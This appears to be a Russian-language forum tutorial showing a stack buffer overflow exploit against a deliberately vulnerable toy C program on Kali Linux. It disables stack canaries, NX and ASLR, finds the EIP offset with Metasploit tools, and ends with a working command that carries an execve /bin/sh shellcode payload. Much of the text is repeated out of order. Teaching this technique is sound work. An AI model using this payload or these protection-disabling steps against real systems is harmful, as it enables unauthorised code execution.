Переполнение буфера стека происходит, когда программа записывает больше данных для стека, чем было выделено для буфера. Это приводит к перезаписыванию, возможно, важных избыточных данных в стеке и вызывает аварийное завершение или выполнение произвольного кода возможным перезаписыванием указателя команд и, следовательно, позволяет перенаправить выполнение потока программы.
Я использую Evan's debugger для демонстрации переполнения буфера на Kali Linux.
Уязвимый код
Взлом и отладка
Стек Canary
Address Space Layout Randomization (ASLR)
Управление EIP
Шелл-код и Эксплуатация
Я использую Evan's debugger для демонстрации переполнения буфера на Kali Linux.
Уязвимый код
Распространенная уязвимость переполнения буфера в программе сохраняет данные, вводимые пользователем в памяти без проверки размера указания точного размера данных, которые должны быть записаны в памяти. Зная этот факт, мы можем использовать простой пример кода уязвимости для стека на основе переполнения буфера.
Приведенный выше код сохраняет произвольный размер переменной ARGV в буфер 20 байт без проверки фактического размера ARGV. Если ARGV больше 20 байт, то это приведет к переполнению буфера.
Код:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[20];
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return 0;
}
Приведенный выше код сохраняет произвольный размер переменной ARGV в буфер 20 байт без проверки фактического размера ARGV. Если ARGV больше 20 байт, то это приведет к переполнению буфера.
Взлом и отладка
Мы почти взломали нашу программу. Перед тем как сделать это, мы должны заблокировать несколько встроенных защит переполнения буфера. Так как переполнение буфера теперь является старой формой эксплойта, у компиляторов и ОС теперь есть несколько защитных мер против них.
Стек Canary
Стек canary является случайным числом, размещенным в стеке сразу же перед указателем возврата стека. В случае переполнения буфера стека, значение canary будет перезаписано и программа сделает исключение. Стек canary может быть заблокирован во время компиляции путем компилирования с опцией -fno-stack-protector.
Предотвращение выполнения данных (NX/DEP)
Код:
root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector
Переполнение буфера стека обычно использует возможность контролировать исполняемый поток путем выполнения пейлоада, который хранится в стеке программы. DEP просто блокирует разрешение на выполнение стека программы, изображая пейлоад невыполнимым и бесполезным. Это может быть заблокировано путем использования такой программы как
DEP может быть обойден, с помощью таких техник как
Ссылка скрыта от гостей
Код:
root@kali:~# execstack -s ./vulnerable
Ссылка скрыта от гостей
или
Ссылка скрыта от гостей
Address Space Layout Randomization (ASLR)
ASLR рандомизирует пространство памяти программы таким образом, чтобы перезаписывание адресной ссылки команд с фиксированным местоположением в памяти не являлось таким полезным, т.к. будет отличаться каждый раз, когда программа запускается и не будет указывать на то, что могло бы быть показано для пейлоад или ROP приспособления. ASLR может быть временно заблокировано, если ввести следующую команду
Теперь, когда вся защита переполнения буфера заблокирована, мы можем перейти к безопасному переполнению буфера стека в нашем коде во время использования отладчика, для проверки результатов.
Если мы посылаем 200 байт, состоящие из 200 A, программа завершает свою работу и в отладчике мы видим, что EIP переписан с 0x41414141.
Это происходит потому, что адрес возврата для основной функции, также хранится в стеке. После того, как память, выделенная в буфер, заканчивается, функция STRCPY начинает перезаписывать важные элементы, присутствующие в стеке, один из которых является адресом возврата основной функции. В связи с этим, после того, как основная функция завершает выполнение и возвращается, адрес, на который она возвращается, читается со стека и хранится в EIP, который в данном случае не является действительным адресом, но только 0x41414141 из-за нашего большого буфера.
Program crash due to buffer overflow
EIP points to 0x41414141
Код:
root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space
Если мы посылаем 200 байт, состоящие из 200 A, программа завершает свою работу и в отладчике мы видим, что EIP переписан с 0x41414141.
Это происходит потому, что адрес возврата для основной функции, также хранится в стеке. После того, как память, выделенная в буфер, заканчивается, функция STRCPY начинает перезаписывать важные элементы, присутствующие в стеке, один из которых является адресом возврата основной функции. В связи с этим, после того, как основная функция завершает выполнение и возвращается, адрес, на который она возвращается, читается со стека и хранится в EIP, который в данном случае не является действительным адресом, но только 0x41414141 из-за нашего большого буфера.
Код:
root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*200')
Program crash due to buffer overflow
EIP points to 0x41414141
Управление EIP
Нам необходимо точно вычислить, сколько байт из наших 200 байт буфера перезаписывается EIP. У Metasploit framework есть два отличных инструмента для этого, это pattern_create и pattern_offset. Первый создает уникальный шаблон, для отправки его как буфера. Второй же используется, чтобы узнать смещение байтов, которые перезаписали EIP.
EIP points to a location in the unique pattern
Теперь мы можем использовать pattern_offset, чтобы найти местоположение 31624130 в сгенерированном шаблоне.
[*] Exact match at offset 32
Теперь нам нужно хорошее местоположение чтобы иметь адресную ссылку к EIP; предпочтительно, где мы сможем хранить выполнимый пейлоад. Отправляя выполненный пейлоад, мы можем вычислить локацию в стеке программы для нашего пейлоад.
Это приведет к аварийному завершению программы и EIP, чтобы ссылаться на 0x42424242, который также является недоступным местом памяти. Однако, если мы взглянем поближе на стек, мы сможем увидеть, что C аккуратно выровнены начиная с 0xbffff990, и это будет отличной локацией для шелл-кода нашего пейлоад.
Contents of stack after buffer overflow
Код:
root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
root@kali:~# edb --run ./vulnerable Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
EIP points to a location in the unique pattern
Теперь мы можем использовать pattern_offset, чтобы найти местоположение 31624130 в сгенерированном шаблоне.
Код:
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 31624130
Теперь нам нужно хорошее местоположение чтобы иметь адресную ссылку к EIP; предпочтительно, где мы сможем хранить выполнимый пейлоад. Отправляя выполненный пейлоад, мы можем вычислить локацию в стеке программы для нашего пейлоад.
Код:
root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "B"*4 + "C"*164')
Contents of stack after buffer overflow
Шелл-код и Эксплуатация
Мы можем захватить примитивный шелл-код, который выполняет /bin/bash, таким образом предоставляя нам оболочку с правами доступа пользователя, который запускает уязвимую программу.
Я использую этот:
Главное помнить, что мы должны сохранять размер нашего буфера в пределах 200 байт, либо местоположения указателя стека изменится, и наш жестко запрограммированный адрес памяти для EIP будет указывать на несоответствующую память.
Мы можем заполнить оставшееся место символами '\x90', которые обычно являются неэксплуатируемыми командами CPU.
Мы можем проверить окно вывода, чтобы подтвердить, что наш эксплойт работает, и у нас есть оболочка.
Shell from buffer overflow exploit
Мы успешно использовали нашу уязвимую программу.
Я использую этот:
Код:
*****************************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
********************************
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
Главное помнить, что мы должны сохранять размер нашего буфера в пределах 200 байт, либо местоположения указателя стека изменится, и наш жестко запрограммированный адрес памяти для EIP будет указывать на несоответствующую память.
Мы можем заполнить оставшееся место символами '\x90', которые обычно являются неэксплуатируемыми командами CPU.
Код:
root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "\x90\xf9\xff\xbf" +"\x90"*141 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
Shell from buffer overflow exploit
Мы успешно использовали нашу уязвимую программу.